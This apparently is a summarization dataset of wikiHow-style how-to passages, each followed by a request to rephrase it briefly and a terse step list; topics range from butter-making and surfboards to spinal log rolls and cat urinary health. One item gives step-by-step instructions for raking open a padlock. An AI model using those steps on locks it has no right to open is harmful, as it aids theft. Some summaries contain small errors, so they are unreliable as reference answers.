A little knowledge can go a long way. If you have time before embarking on a trip or meeting with someone from another culture, try to take time to learn the basic “do’s and dont’s” of that culture. You can find information on this from internet sources such as those provided by the National Center for Cultural Competence. Different cultures will speak at different volumes, be more or less direct in showing emotion, may or may not expect to engage in “small talk,” and exhibit other dissimilarities in communication. When communicating with people from other cultures, be prepared to encounter such differences, including ones that you were not aware of. When communicating with a different culture, there may be unwritten rules about social hierarchy that you are not used to. For instance, you may come from a culture where men and women are expected to communicate equally with each other but may have to interact with someone from a culture where men may do more talking in mixed company. Similarly, you may be communicating with someone who expects that a younger person should let an older person do most of the talking, while you expect people across age groups to communicate equally. If you could not understand someone or think that he or she did not understand you, say something about it. Avoid being rude or offensive, but patiently explain the problem. It’s usually better to be upfront than to let a problem in communication go undressed, since there may otherwise be bigger problems later.  If you think you did not understand what someone meant, try saying something like: “I’m not sure I understood you. Could we go over that again?” If you think that someone did not understand you, try saying something like: “Let’s review things to make sure we’re all on the same page.” You can also make sure to let the person know to ask questions. Each culture has its own set of dominant values, beliefs, and prejudices. Signs of these may emerge when communicating with people from other cultures. Basic communication, however, it...

How would you rephrase that briefly using English?

Learn about the culture beforehand. Expect differences. Understand hierarchies. Be upfront about difficulties in communication. Be respectful and tolerant. Be patient.


A little salt will enhance the flavor of your butter. Butter may taste a little dull if you don't sprinkle some salt onto it. Sprinkle salt over your butter until it reaches your desired taste. If you plan to use your butter for a recipe that calls for unsalted butter, refrain from using salt. Keep your butter in the fridge. This will prolong its shelf life. You can use your jar as a storage container or place the butter in a Tupperware container. Homemade butter has a shorter shelf life than butter you would purchase at the store. If you're not going to use your butter for a bit, you should knead out excess buttermilk. This will make homemade butter last slightly longer.  Run cold water over your butter as you knead it. Work the butter with your hands until it's firmer and a lot of buttermilk has leaked out. This will take several minutes. This is a very messy process. Expect that your hands will get dirty when kneading homemade butter.

How would you rephrase that briefly using English?

Add salt to taste, if you wish. Store your butter in the refrigerator. Knead out excess buttermilk if you're not using your butter right away.


A lobe is a separate section of the leaf that radiates off the central point, kind of like the fingers on your hand. Most sycamore leaves will have five large lobes, each with its own distinct vein running along it.  Some sycamore leaves may only have three lobes, but five is more common. From the tip of one lobe to the to the tip of the one across from it, sycamore leaves are often well over 4 inches (10 centimeters) wide. Sycamores have alternate leaves, which means a single leaf attaches to the stem in one spot, and the leaves alternate from side to side as you move along the stem. This is opposed to two leaves attaching at the same location on a stem, which is referred to as having opposite leaves. The leaves will have many rounded “teeth” along the edges and will look slightly serrated. In spring and summer, the leaves will be dark green. Then in the autumn they turn yellow before falling off for the winter.

How would you rephrase that briefly using English?

Count five distinct lobes. Search for a single leaf attached at one location. Feel for a somewhat ragged edge. Look for a dark green or yellow color.


A lock picking kit will come with a variety of tools you can use, including a tension wrench, rake tool, and single-pin pick. If you're looking for the easiest way to open a master padlock, use a lock picking kit. You can order a lock picking kit online. You'll use the tension wrench to hold open the small door over the lock hole, and to apply pressure to the lock cylinder. The tension wrench won't go very far because the lock is locked, but that's OK. You just want to turn it as far as you can and hold it there so you're applying pressure to the cylinder inside the lock. Use the hand you're holding the lock with to hold the tension wrench in place. The end of the rake tool with the teeth and ridges on it should be the end going into the lock. Push down on the end of the rake tool you're holding outside of the lock to get the end inside the lock to go up. Hold the handle of the rake tool down so the teeth stay at the top of the inside of the lock. Maintain pressure on the tension wrench as you do this. Continue to push down on the handle of the rake tool as you pull the tool out so the teeth scrape against the top of the inside of the lock. Once the tool is out, check to see if the lock is unlocked. Use a fast, repetitive motion, like you're scrubbing the inside of the lock. Continue to apply pressure to the tension wrench as you bring the rake tool in and out of the lock. Eventually the lock should pop open. You can now remove the master padlock from whatever it was locked on.

How would you rephrase that briefly using English?

Buy a lock picking kit for the best results. Insert the bent end of your tension wrench into the lock opening. Turn the tension wrench in the direction the key would go in. Push your rake tool as far into the lock as it will go. Push your rake tool up so the teeth are resting on the top of the lock. Pull the rake tool out of the lock quickly. Continue to bring the rake in and out of the lock if it hasn't unlocked yet. Remove the rake tool and tension wrench when the lock pops open.


A log roll involves partially rolling a person (usually from their back to their side) so that a long spinal board can be wedged underneath them. Once the spinal board is underneath the injured person and they are laying on their back, they can be lifted by paramedics and carried to an ambulance or other emergency transport vehicle. Transporting a person on a spinal board minimizes movement to their spine and reduces risk of further injury if they have a spinal injury.  The log roll obviously involves some movement to the spine, but it's the safest way to transfer a person onto a spinal board if there is only a few people available. If there's at least five other people around able to help you, doing a 6-person lift procedure onto a spinal board is considered a little safer than a log roll due to less impact on the spinal column. Another reason to log roll an injured / unconscious person is to remove them from immediate danger or threat of further injury if they remained in the same spot. If emergency medical personnel aren't present with a spinal board and you need to transport a person away from danger, log roll them to the side and place a sturdy sheet, blanket, tarp etc. under them, then lift it and carry it with the injured person on their back.  You'll need at least one other person to help you carry it and preferably three others. Reasons to move an injured person before paramedics arrive include: proximity to fire, exposure to cold, risk of flooding, surrounding violence and/or potential danger from animals. If you're all alone with an injured person and absolutely need to move them, then place a sheet / tarp under them and drag it along the ground towards safety — it's not ideal, but likely the best method. Another reason to log roll an injured / unconscious person is to prevent them from choking on their own blood or vomit. People who bite their tongue or lose teeth during an accident or trauma have a significant risk of choking on their blood, particularly if they're unconscious and laying on their...

How would you rephrase that briefly using English?

Place a spinal board underneath. Use a sheet to transport. Prevent choking on vomit or blood.


A longboard is about 8 to 11 feet long and serves as a fantastic starting point for a novice due to its balance and ability to catch smaller waves. A funboard is a little smaller, at 7 to 9 feet long, but is wider than most other surfboards, giving it good stability. A funboard is considered easier to maneuver than a longboard, but longboards are the best surfboard for a total beginner. A shortboard, at 5 to 7 feet long, has a pointed front end and is meant for shredding rough and aggressive waves. A fish board is even smaller than a shortboard but wider, with a dual-pointed rear resembling a large fin, and makes turns both quickly and smoothly. If you are just moving beyond a beginner board, try a fish board before a shortboard. You will get used to the maneuverability of a shorter surfboard while adjusting away from long ones. A hybrid board is a combination of any two boards that are similar.  A shortboard and a fish board hybrid is a common combination, making the shortboard more balanced and able to turn without sacrificing speed. A longboard and a funboard hybrid can make it easier to find stability on a heavier board, and can also serve as a good transition from a longboard to another style. A SUP is a stable, standing paddle board that can be used to surf very small waves and, with skill, surf larger waves. You can use it in freshwater too, so if you have the surfing itch and live nowhere near an ocean, you can bring this to the lake to start learning.

How would you rephrase that briefly using English?

Choose a longboard or funboard to learn the basics of surfing. Try a shortboard or fish board if you want to tackle more aggressive waves. Test a hybrid board to combine the aspects of two boards into one. Paddle a SUP instead, a board you can use in any body of water.


A loose drive belt may be the result of stretching over time.  If your drive belt has stretched, it should be replaced.  Depending on the vehicle, there are a number of ways you may be able to loosen the tension on the drive belt.  A tensioner pulley can be loosened by inserting a breaker bar or socket wrench into the hole in the center of the pulley and twisting it clockwise.  In other vehicles, you will need to loosen the alternator bolts and either tip it forward or slide it toward the motor within its bracket to loosen the belt.  Check the service manual for your vehicle to determine which way you can reduce the tension on your drive belt. If your belt has been damage or is showing signs of excessive wear, it should be replaced instead of simply tightened. With the tension off of the belt, slide it off the top pulley.  This will produce enough slack to remove it from all of the remaining ones.  If your vehicle does not provide a diagram of how the drive belt is wound through the pulleys, take a picture of it before removing the belt to ensure you can place the new one on in the same fashion.  The drive belt likely snakes through a number of pulleys in order to power multiple accessories within your car. You may also be able to find a diagram of the drive belt’s route on the auto maker’s website. Before installing a new drive belt, compare it to the old one to make sure you’ve purchased the right belt.  While an old belt may stretch a bit, they should be fairly close in length and equal in width.  Make sure the new belt matches the old so it will install properly.  The wrong belt could fail to power the vehicle’s accessories or even cause internal damage to the engine. If you feel you have purchased the wrong belt, return it to the auto parts store and get the proper belt before moving forward. Follow the diagram or picture you took to run the new drive belt back through and around all of the pulleys the old one did.  If your vehicle comes equipped with a tensioner pulley, turn it clockwise again to bring...

How would you rephrase that briefly using English?

Loosen the alternator bolts or the tensioner pulley. Slide the old belt off of the pulleys. Compare the replacement belt to the new one. Run the new belt through all of the necessary pulleys. Increase tension on the new belt.


A lot of companies sponsor international students for Green Cards. However, this process can be expensive so companies can only sponsor you if they can show that they cannot find an equally qualified American citizen for the job. Although it is hard to get a Green Card through job sponsorship, it is not impossible. If you have specialized skills in high-demand fields like engineering or medicine, and their aren't a lot of Americans qualified for that type of work, you will have a higher chance of getting a sponsored.

How would you rephrase that briefly using English?

Apply for a job that is able to sponsor international students for a Green Card:


A lot of famous poets, such as Walt Whitman, initially published themselves. This can be a great outlet for you if you're unsure you want to go a traditional publishing route. However, you do not want to waste time and money on self publishing if your work is not ready. Read over your poetry collection and try to be honest with yourself. Is this work ready for publication? Would you be happy putting this work out into the world?  Seek input from others. Have trusted friends, or any colleagues you have from college or an MFA program, read through your collection. Ask them if they think it's polished and professional, and whether they would pay for a book like this. If you get lukewarm feedback, you may want to reconsider self publishing. Try to work on your poetry for a few more months before publishing your book. It may also be worth your time to hire a proofreader. Self-published books do not go through as strict an editorial process, and many writers find it difficult to catch their own errors. Careful proofreading is important, as a work with grammatical errors can reflect poorly on you as a writer. If you think your work is ready, you'll need to find an outlet through which to self publish. There are a variety of publishers that allow writers to self publish their own works for a small fee. Assess what your budget is, and explore a variety of options.  Self-publishing services will print however many copies of your book that you want, for a fee. Print-on-demand services will take a PDF copy of your manuscript, for a fee, and print copies of your book when a potential reader places an order. You are completely responsible for marketing and selling your book with these kinds of companies. In addition to browsing the costs from various companies, consider other costs. Marketing your book may cost money. If you're unable to do graphic design on your own, you will need to pay a graphic designer to design your cover. Once you've selected a route for self-publishing, assemble your materials. The process of...

How would you rephrase that briefly using English?

Make sure your manuscript is ready for publication. Find the right publishing route for you. Assemble your collection. Send in the materials.


A lot of makeup glitter is very large and clunky. If you're looking for something theatrical, this can work great. However, if you want something a bit more subtle, go for finer glitter. You may have to experiment with a few different types of glitter until you find one that works for you. It's very easy to get glitter on your teeth when applying it to your lips. To avoid this, do not apply glitter too far inside your lips. Just apply the glitter on the outside of your lips.

How would you rephrase that briefly using English?

Choose the right kind of glitter for your look. Avoid getting glitter on your teeth.


A lot of men use logic to make decisions, so list off some logical reasons why shaving his chest is wise. Telling someone that, “it would be awesome” is not extremely convincing, so give him concrete reasons to start convincing him. Go into the conversation with ideas of what you want to say. Ridding his chest of the hair will reduce breakouts. The chest hair can act as a barrier between the soap and the skin, which can increase the risk of breakouts in this area. Less hair means that less bacteria and debris will be trapped below the hair. Additionally, removing chest hair can help reduce body odor as well. Chest hair can increase body heat, causing him to sweat. If he removes his chest hair, he will be a cleaner, and cooler, man! If your guy is a clean freak, this may not actually be an issue for him. However, it never hurts to list all of the information you have. A bare chest is much easier to tan. If your man wants a nice, even bronze then he should remove the chest hair. It’s easier to get a good tan on exposed skin than one that is covered with hair. If he doesn’t care about his tan, you can sweetly tell him that you think he looks very handsome with a sun-kissed glow. Your opinion just might probably sway him. ” Some of the most handsome men in Hollywood rock a hairless chest, like Zac Efron, David Beckham and Justin Bieber. Long gone is the 70’s open-shirt, hair-spilling fashion––less hair on the chest is definitely considered to be more appealing by current fashion standards. Wiry chest hair can be seen straight through shirts made of lighter fabric. This typically isn’t the best or most appropriate look. Wearing an undershirt can fix this problem, but that can get old— and certainly uncomfortable during warmer months! By shaving his chest, he can slip a sheer dress shirt on without a second thought. This is an especially convincing reason for any guys who dress up regularly for work.

How would you rephrase that briefly using English?

List the benefits of a bare chest. Remind him of the hygienic benefits of a bare chest. Explain how much better his tan will look. Point out that bare chests are “in. Say that bare chests look better in dress shirts and sheer shirts.


A lot of people who want to be discovered as a singer really mean that they want to be discovered as a super star. But there's a difference, and a timeline, between the two. Think about this:  A professional singer is someone with substantial experience and usually musical education under her or his belt. A professional singer is someone who sings and performs on a very regular basis, from one to five times a week and several hours per night. Her or his success can remain local or go global. A superstar might come out of a great singer, but that person didn't necessarily have to be a professional singer previously. A superstar usually achieves international and sometimes global success. Much like any other career path, passion is key in paving your road to success. But if that passion is based solely on the desire for money and fame, your career (and happiness) might be short lived. Try to think about the following questions:  What do you get out of singing? Where/what venues are your favorite performance sites? In what particular field do you want to earn respect and appreciation? Do you enjoy large or small audiences? Is recognition of your talent more important to you than the actual performing? Maybe your parents want you to be the next Pavarotti and insanely wealthy. Always ask yourself if that is also what you truly want. As in most other professions, lots of practice is absolutely necessary. Not just for the quality of tone, but also for your own comfort level.  Make it a goal to practice at least a few times a week, and ideally every day. Hold yourself accountable by entering your planned practice times in a calendar or planner.

How would you rephrase that briefly using English?

Understand what a professional singer actually does. Dig deep and find out why you want to be a singer. Don't base your goals on other people's ideas. Be realistic about how much time you can devote to your goal.


A lot of teenagers struggle with acne, which can definitely give away your age. Help prevent pimples by washing your face twice a day with a gentle cleanser. Use a light moisturizer after you wash your face to keep your skin hydrated. You should also try to avoid touching your face throughout the day. A cut that’s at or above your shoulders will often make you look older than having long hair. However, no matter what hairstyle you choose, you should get regular trims so your style looks fresh. The more polished you look, the more mature you will appear. Take the time to style your hair in the mornings. Comb your hair so it’s free from tangles, and style it into a low side-braid or part it to the side and wear it down. It might seem like the more makeup you wear, the older you will look, but the opposite is actually true. Young girls usually wear heavy makeup, while adults typically choose a more subtle style that draws emphasis to one area of the face.  Wear subtle smoky eye makeup to emphasize your eyes.  Wear a bold shade of lipstick to accentuate your mouth.  Don’t wear a lot of shimmery or glittery makeup. This is a small change that can make a big difference. Groomed eyebrows that suit the shape of your face will make you look more like a woman. Get your eyebrows shaped up in a salon or learn how to pluck them yourself. You can grow your nails out or you can choose to wear them short, but you should always keep your fingernails clean and neat. Use a nail file to remove any rough or uneven edges. Choose a subtle, refined scent instead of a perfume that’s very flowery or sweet-smelling. A bottle of perfume usually lasts a long time, so don’t be afraid to invest in a quality fragrance if you find one you like.

How would you rephrase that briefly using English?

Take care of your skin. Upgrade your hairstyle. Focus your makeup on one area of your face if you wear any. Get your eyebrows done. Keep your fingernails neat. Spray on a little perfume before you leave the house.


A lot of the time, the computer serves as our primary form of relaxation. If you've fallen into a rut in regards to your recreational activities, try to take up some new hobbies to combat excessive internet use.  If you want something you can do at home after work, invest in crossword puzzles, sudoku, board games, and cards. If you live with a roommate, family, or a significant other propose a weekly game night. Declare internet free days or time frames and use that time to engage in other activities. Oftentimes, getting out into nature can help curb internet usage. Try going for hikes on weekends or brisk jogs after work. If you're the type who does a lot of reading online, consider buying physical books and subscribing to magazines related to your interests. Nightly reading can help you get away from the computer. A high amount of internet usage is sometimes associated with pre-existing conditions like depression and anxiety. Or you might be suffering from internet or computer addiction itself.  Know the symptoms of psychiatric disorders. Do you have a persistent sad, empty, or numb mood? Do you experience feelings of guilt or worthlessness? Do you have trouble making decisions and meeting deadlines because of these feelings? Have you had physical side effects, like weight lose or gain, insomnia, headaches, and digestive issues?  Do you use the internet or computer to avoid or combat these feelings? Do you experience feelings of euphoria when going online that temporarily alleviate negative moods?  You can find a psychiatrist by visiting your insurance provider's website and seeing where you plan is accepted. If you're a student, you can usually get free counseling through your university. Be patient. It can take awhile to find the right counselor and you're uncomfortable with one therapist you can ask for a referral to another therapist in your area. If you use the internet to encourage an active social life, you'll end up spending less time in front of the screen. Use your computer to your advantage. Make...

How would you rephrase that briefly using English?

Find hobbies. Seek psychiatric help. Use the internet to enhance your real life.


A lot of the time, there's nothing wrong with you or how you study or learn: your brain just can't hold the information because your body isn't getting something that it needs. Often, that need is more sleep. You'll want to be sure to get plenty of sleep if you want your brain to be alert enough to absorb information. Just drinking an extra cup of coffee isn't going to work. This means you'll want to stop doing those late night study sessions. Instead, go to bed early, get a few hours of sleep, and then get up early so that you can study more on a well-rested brain.  Studies have actually revealed that while we sleep, the brain is flushed with a fluid that cleans it of toxins. When we don't get enough sleep, our brains are so overloaded with junk that it becomes difficult for the brain to function correctly. How much is enough sleep really depends on you and how your body works. Seven to eight hours is what is recommended for most adults, but some people need less and some people need more. You should be able to feel awake and alert through most of the day, without the aid of coffee. If you're tired before four or five in the afternoon, then you're probably not getting enough sleep (or you might be getting too much). When you're hungry, your brain will have a really hard time absorbing any information. It's hard to focus when all your body can tell you is that your stomach is empty. Make sure that you get enough food for all of the major meals. You might even want to choose something healthy to snack on while you study as well as during any classes or tests you might have to take. It's also a good idea to make sure that you're eating healthy foods. Junk food doesn't give your body the nutrients it needs to perform at its best. Snack on some almonds or a couple of carrots in order to feel alert and focused, instead of bloated and tired. Your body is at its best when it's well hydrated. When you don't get enough water, you won't be able to focus. You can easily become distracted, whether you realize it or not,...

How would you rephrase that briefly using English?

Get plenty of sleep. Eat enough food. Drink plenty of water. Get exercise. Teach your brain to learn.


A lot of things that are considered too rude to be said are often communicated using eyes. In fact, some of our emotions are written in the size of our pupils, something humans can't control.  If someone is frustrated by having to talk to you, you can often find out by watching their eyes.  Looking up and to the right is a sign of boredom. Pupils dilate (get bigger) when a person is interested, and will often decrease in size when someone becomes bored.  Avoiding eye contact probably means they’re hiding something from you, that they don’t trust you, or are scared of you. Any extreme emotion can be a sign that something is wrong with your relationship. However, you should pay attention to extremes as compared to how this person usually behaves, not what you consider normal for yourself or your friends. Pay attention to:  Tension and stiffness, especially in the shoulders Boredom and disinterest Being over the top or melodramatic The tone of their voice How quickly or slowly they respond People behave differently depending on how they feel about what they are saying or doing, and there are many subtle (and often subconscious) cues that can help differentiate how people feel about something they’re unwilling to discuss or will lie about. The basic idea of a polygraph test, also known as a lie detector, is in finding the tiny differences in how someone responds when they’re telling the truth as compared to when they’re lying.  Even if you can't use a machine to monitor the differences in someone's behavior, some easy cues that can help you tell if they hate you are:  Anything that might suggest that they are lying or trying to mislead you. Look out for any sign of them trying to hide an emotion, as people often get emotional when they lie, and try to hide it.  How this person communicates with you vs. how they communicate with other people. How they act when you’re talking about something they need to pay attention to (for example work, if they are a co-worker) and when you bring up things that they don’t need...

How would you rephrase that briefly using English?

Pay attention to their eyes. Notice extremes. Watch for differences. Don’t mistake other emotions for hatred. Notice how open they are with you.


A lot of times when we don't know what to wear or how to put together an outfit it means that it is time to organize our closet. Organizing means it will be easier to locate the clothes you want for the outfits you'll be putting together and it will remind you what you own in way of clothing.  Get rid of anything you almost never wear. There is no point in keeping around something you wear only once or twice. Make space for the items you will wear. Make a rule for yourself: every 6 months clean out your wardrobe. The stuff you just can't throw away, put in storage and if in the next 6 months you haven't looked for it, to charity or friends it has to go. When you're organizing you want to make sure that you will have easy access to your clothes. An easy way of organizing them is by item, so all the t-shirts together, all the sweaters together, all the dresses together, and so on. It makes it easier to find them when you know where the items of clothing will be. And if you organize them by color it's a win-win situation for you. You'll need a few basic tops that are the foundation of your wardrobe. These tops should be versatile and trend-proof. It's best for your basic wardrobe components to be in neutral colors like black, navy blue, white, and ivory so that you can mix and match them easily. The best is to stick to more classical designs than to follow every season trend. Get a scarf or some jewelry that represents the season. Accessories can be an easy and cheap way to make the same outfit look different every day of the week.   Casual tops: these are tops like short and long sleeve t-shirts, camisoles and tank tops (which are particularly good for under sweaters). Invest in good quality and simple colors. A few dressy blouses. Blouses can be worn under blazers, or button-down cardigans. They can give a good bit of class to an outfit. Wear them with jeans, with a skirt and boots, or with jewelry. You'll want to add some sweaters, button-down cardigans, or pullovers in neutral colors to wear with your casual...

How would you rephrase that briefly using English?

Organize your closet. Make sure you have essential wardrobe tops. Make sure you have essential wardrobe bottoms. Gather accessories. Get versatile shoes. Find some key statement pieces.


A low WBC count can result from a wide variety of medical conditions. You doctor will have to administer tests in order to better understand your situation if the cause isn't obvious, such as a viral infection, autoimmune disease, HIV/AIDS, cancer or cancer treatment, or a prescription medication. Understanding why your WBC count is low will help you and your doctor come up with specific solutions. There are several medications available that stimulate WBC production. All medications have benefits and risks, so be sure to ask your doctor about potential side effects.  Ask your doctor, “Are there prescription medications that would be beneficial for my situation? What are my options with the lowest associated risks? Should I try dietary changes or natural remedies before taking medication?” Risks and side effects of medications that stimulate WBC production can include allergic reactions, low fever, bone pain, discomfort at the injection site, weakness, diarrhea, and flu-like symptoms. A registered dietitian will help you create a meal plan customized for your specific needs. If you're undergoing chemotherapy or other treatment for a chronic medical condition, talk to your treatment center about seeing their dietitian. You can also ask your primary doctor or specialist caregiver for a referral.  Your personalized meal plan might include modifications to your daily recommended nutrients, like adding more protein than normally recommended to your diet. Your dietitian can also help you with recipes, safe food handling, and consult about adding supplements. Tell your dietitian about your eating habits and any difficulty you have maintaining proper nutrition, such as loss of appetite, nausea or vomiting, and diarrhea. They can recommend foods and supplements that can help you get the nutrients your body needs to produce blood cells. Acupuncture has been shown to increase WBC production and promote bone marrow repair during chemotherapy. Sauna bathing also stimulates the immune system, particularly in athletes. Talk...

How would you rephrase that briefly using English?

Discuss the cause of your low WBC count with your doctor. Ask if they recommend medication. Consult a registered dietitian. Discuss natural remedies with your doctor or specialist.


A low cut shirt is a great option to wear with a bralette. This is a sexy look that can be worn in a variety of ways—from super casual to dressed up for a night out. You can control how much skin you wan to show with this option. You could only show the top of the bralette or wear a very low cut shirt to reveal all of the bralette.  Wear a low cut T-shirt with a lacy bralette and skinny jeans for a nighttime look. Put on a low cut tank top with a patterned bralette and a skirt. This is a sexy look that may be a little too much for work. Wear a bralette as a shirt underneath an open blazer. You can pair the blazer with a pair of matching pants or nice jeans. You can also pair the bralette with a high waisted skirt if you don’t want to show as much skin. This type of shirt is a way to show off your bralette without wearing it as a shirt. A solid bralette would show through a lace shirt the best, but you can wear a lace bralette. Any type of sheer shirt will work. Wear a mesh black shirt with a solid black bralette and a pair of pants in a pastel color for a night out. As long as you feel comfortable with it, bralettes can be worn alone without a shirt. You might want to wear a solid bralette unless you’re comfortable with showing a lot of skin. Wear the bralette with a skirt, jeans, or high waisted pants.  Wear a solid black bralette with a long, high waisted skirt and sandals for a day out. Put on a lace bralette with loose, boyfriend jeans and nice sneakers for a daytime look that would be great to run errands or go out with friends.

How would you rephrase that briefly using English?

Put on a low cut shirt with the bralette. Wear the bralette under a blazer. Choose a sheer shirt to wear over the bralette. Wear the bralette as your shirt.


A low glucose-to-water ratio speeds up the process of crystallization. Try adding a tablespoon or two of water to your honey and mixing it in. This may result in faster crystallization. Honey stored in temperatures around 50 degrees Fahrenheit (10 degrees Celsius) will crystalize much faster. Store your honey somewhere like the fridge. Use a thermometer to determine your fridge's heat to make sure it hovers around the 50s. Do not freeze your honey. This will prevent it from crystalizing. Unfortunately, there is no exact formula to know how long honey crystalizes. When kept at the right temperature, most honey will crystalize but this can take anywhere from weeks to years. When your honey crystalizes, you will realize the honey is formed into large crystals with white air bubbles in between. If you already have some crystalized honey, transfer this to a container of runny honey. The presence of honey crystals may speed up the crystallization process.

How would you rephrase that briefly using English?

Add water. Store your honey in the refrigerator. Wait for your honey to crystalize. Transfer small amounts of crystalized honey to runny honey.


A machine called a staker can soften the leather by stretching it and lubricating it with natural oils. This process ensures the leather stays pliable. You can also hang the hide up from your ceiling and stretch the hide as much as you can in all different directions. You can use ropes and hooks to keep the hide taut. Once a hide is about 80% dry, apply the oil to the surface on the skin side. Coat the entire surface evenly. Repeat several times through the drying process. The hide is soft and pliable, but depending on your purpose you may want to smoke the hide to force the tannin into the fibers. Stitch the hide to form a bag and suspend the opening above a small smoky fire for several hours. Different kinds of wood can even add a natural color to your leather. Aspen or cottonwood can create a golden leather. Try different woods available in your area to see what different colors and looks you can create. The leather can be buffed or polished. You might choose to treat the leather with a coat of acrylic or polyurethane to make patent leather.  You can also emboss leather to create permanent shapes or designs in the fabric if desired. Finally, cut the leather based on the end user's specifications.

How would you rephrase that briefly using English?

Soften the leather. Apply a leather softening oil. Smoke the hide. Apply a finish.


A magnum is a double bottle of wine or champagne. One reason it works well for a party is it's fairly impressive to look at. Plus, because it's double the size, it will last much longer than a single bottle of wine. Your host will appreciate your thoughtfulness.  When choosing a wine for a party, sparkling is usually a good option. If you insist on bringing a standard bottle of wine to a party, give it to the hosts before the party, and let them decide whether they want to serve it at the party or not. On the other hand, when you've been invited for dinner to a small gathering, such as a dinner for about four people, a regular bottle is appropriate. A regular bottle will provide enough wine for each person at the dinner, which is why it's appropriate. Ask the hosts ahead of time what they will be serving. Then you can get a wine that matches the dinner, such as a white wine for fish. If you're not sure what goes with what type of food, ask at the store. When it comes to weddings or other big special occasions, such as birthdays or Christmas dinner, plan to spend a bit more on the bottle. Weddings especially call for a more expensive bottle. If you don't want to spend that much, skip the wine. You'll be safer buying something off their registry. That is, you don't want to buy wine if the host doesn't drink wine. For instance, maybe the host enjoys alcohol, but they don't like wine. Another situation you may run into is the host may not drink at all, due to personal choice, health reasons, or religious reasons. If you're not sure, ask.

How would you rephrase that briefly using English?

Consider a magnum for a party. Buy standard bottles for dinner. Go more expensive for special occasions. Make sure it's appropriate.


A major component of lowering your cat’s urinary pH is keeping them well hydrated. If you only have 1 water bowl, your cat may find it inconvenient to drink often. So, place additional water bowls around your home to make it easy for your cat to drink often. Aim for 1 bowl in every room of your house (living space, kitchen, bedroom, etc.). Remember to keep the water in all of the bowls fresh. Refill the water daily. As your cat increases its hydration, it will start to urinate more often. Check its litter box at the end of each day. The number of urine clumps should be greater than before you increased your cat’s hydration. So, if you notice that your cat has begun to urinate 2 or 3 times as often as they used to, it’s a good sign that their hydration has increased and their urinary pH is low. If your cat is on canned (or raw) food and drinking plenty of water, but their urination hasn’t increased, talk to your veterinarian. Your vet may have specific recommendations to make about ways to lower your cat’s urinary pH, including dietary changes that you can make. They’ll be able to advise you as to the best type of food for your cat to eat, and how to switch foods. If your cat shows signs of FLUTD, describe the symptoms to the vet and ask how you can help your cat return to health. The vet may prescribe medication to clear up your cat’s urinary tract problems. Your cat’s urine should be measured for pH as soon as it’s evacuated from the animal’s bladder. For this reason, the urinary pH needs to be measured in the vet’s office. The vet may use a catheter to do obtain a urine sample. Once the vet has measured the pH, they’ll be able to inform you as to whether its alkalinity is too high or not. It would be ineffective to collect a urine sample from your cat while at home, and then bring the sample to your vet later in the day.

How would you rephrase that briefly using English?

Place 3–4 additional bowls of water around your home. Watch your cat’s litter box for increased urination. Discuss your cat’s urinary health with your vet. Ask the vet to measure your cat’s urinary pH.


A major hindrance to healthy coping is being unaware of what you're feeling and why. Emotional awareness, or sometimes called emotional intelligence, means you have the ability to identify and manage your emotions. Emotional awareness involves a two-step process: learning to  understand your emotions and developing tools to handle them.  To better understand your emotions, pay attention to how you feel in different circumstances and during different parts of the day. Notice your thoughts, physical sensations, and the urges you have in response to these. Try to label the feeling and then rate how strong each feeling is. For example, if you are going to a friend's party, you might have a slight twinge in your stomach and constantly check the time and worry about the outfit your chose. You might label it as nervous excitement and rate it an 8, because you are happy to go and hoping you have fun. Once you become better at identifying emotions, aim to describe what you're feeling to others. This helps you become better at putting emotions into words and connecting with friends, family members, and other in your life. For instance, you might tell your mom "I'm super excited about Jason's party today!" The second step to greater emotional intelligence is finding ways to manage emotions in a healthy way. Look for other outlets to cope with painful feelings, self-soothe, manage tension or anger, or connect you with others when you feel numb. Replace the previous self-harm objects with the materials you use to cope.Work with your therapist to equip your toolbox with practices that meet the function of your self-harm. Some examples for each category may include:  To cope with emotional pain or strong feelings: express yourself by writing or journaling; draw or paint in colors that match what you're feeling; listen to music or read poems that describe your feelings; or write about the emotional pain and then tear up the paper To relax or soothe yourself: read a book; play with or walk a pet; take a calming bath; give...

How would you rephrase that briefly using English?

Strive for emotional awareness. Create an emotional management/ stress relief toolbox. Push for good physical health. Locate a place internally or externally where you feel safe.


A major part of good grades is the ability to manage your time wisely. Work on maintaining a regular schedule and sticking to it throughout the semester. You should also plan ahead and stay aware of when big papers and tests are coming up. Write down important dates in your calendar and keep a daily planner.  Decide when to study, do homework, socialize, and so on. Have a daily routine you follow that works with your class schedule. Stick to general rules that work for you. For example, maybe you need a couple of weeks to write a solid paper. Make sure to always start papers a week before they're due. Professors have office hours in which you can come in and ask questions. Always take advantage of the time your professors are offering. Office hours are an invaluable way to gain a higher understanding of course material, and build solid rapport with your professors.  Do not just come into office hours when you're struggling. Stop in just for a refresher when necessary. You can also have a professor look over a draft of your paper or go over the reading with you. Your reputation can help sway your grades. If your professor is, say, deciding between a B+ and an A, they're more likely to grant an A to a student who seemed like they were consistently trying. You want to surround yourself with inspiring people. In class, try to identify the most successful students. Try to plan study parties and review sessions with these students. Your grades will improve as good habits rub off on you.  Try to form a regular study session. Meet once a week with the top students in your class. Make sure to keep study sessions directed, however. Study sessions can sometimes dissolve into socializing, which will not help you bring up your grades. Everyone misses class once in awhile. An illness or emergency can occasionally prevent you from making it to a lecture. However, never allow missing class to become a regular thing. Unless it's absolutely impossible, attend all your classes all the time. In college, classes may only meet...

How would you rephrase that briefly using English?

Maintain a regular schedule. Take advantage of office hours. Reach out to successful students. Attend all your classes. Improve your test taking skills.


A man isn't always comfortable being judge, jury, and executioner, but he knows right from wrong and expects others to play by the same rules. Look inside yourself and ask: would I want someone else doing that to me? This should help you develop principles to live by.  A man never steals, even if he is desperate. A desperate man learns to ask others to help him instead of helping himself to something he is not entitled to. A man helps others in need. He knows when others are down on their luck and need a helping hand, even if the utility lies in the gesture itself. A man trusts his friends, significant others, and family. He follows through with what he says he'll do and expects others to do the same. A man never lies — to himself or others. He develops a conscience that gives him good feedback and allows him to be comfortable with the truth, even if it hurts. Men are naturally ambitious. We want to be breadwinners and have the admiration and respect of our peers. Not all men choose the same career paths, however, so ambition doesn't always amount to the same thing. Whatever career or profession you choose (you may have many), set goals for yourself, live up to or exceed them, and reinvent yourself whenever you need to. Define your own idea of success. The main difference between a man and a boy, and adult and a child, is that men are responsible. Men honor their commitments, accept their duties and are accountable for their actions.  Men clean up after themselves (figuratively and literally).  Men know that anyone can father a baby, but only a man who understands and accepts responsibility can be a good father. Men refuse to make anyone do anything they themselves are unwilling to do. As a result, they appreciate the difficulty and risk other people take on their behalf. Making sacrifices is part of growing up, whether you like it or not. The difference between a man and a boy is that a man steps up to the plate, while a boy hesitates or complains. Especially for the people in his life that he loves, a man...

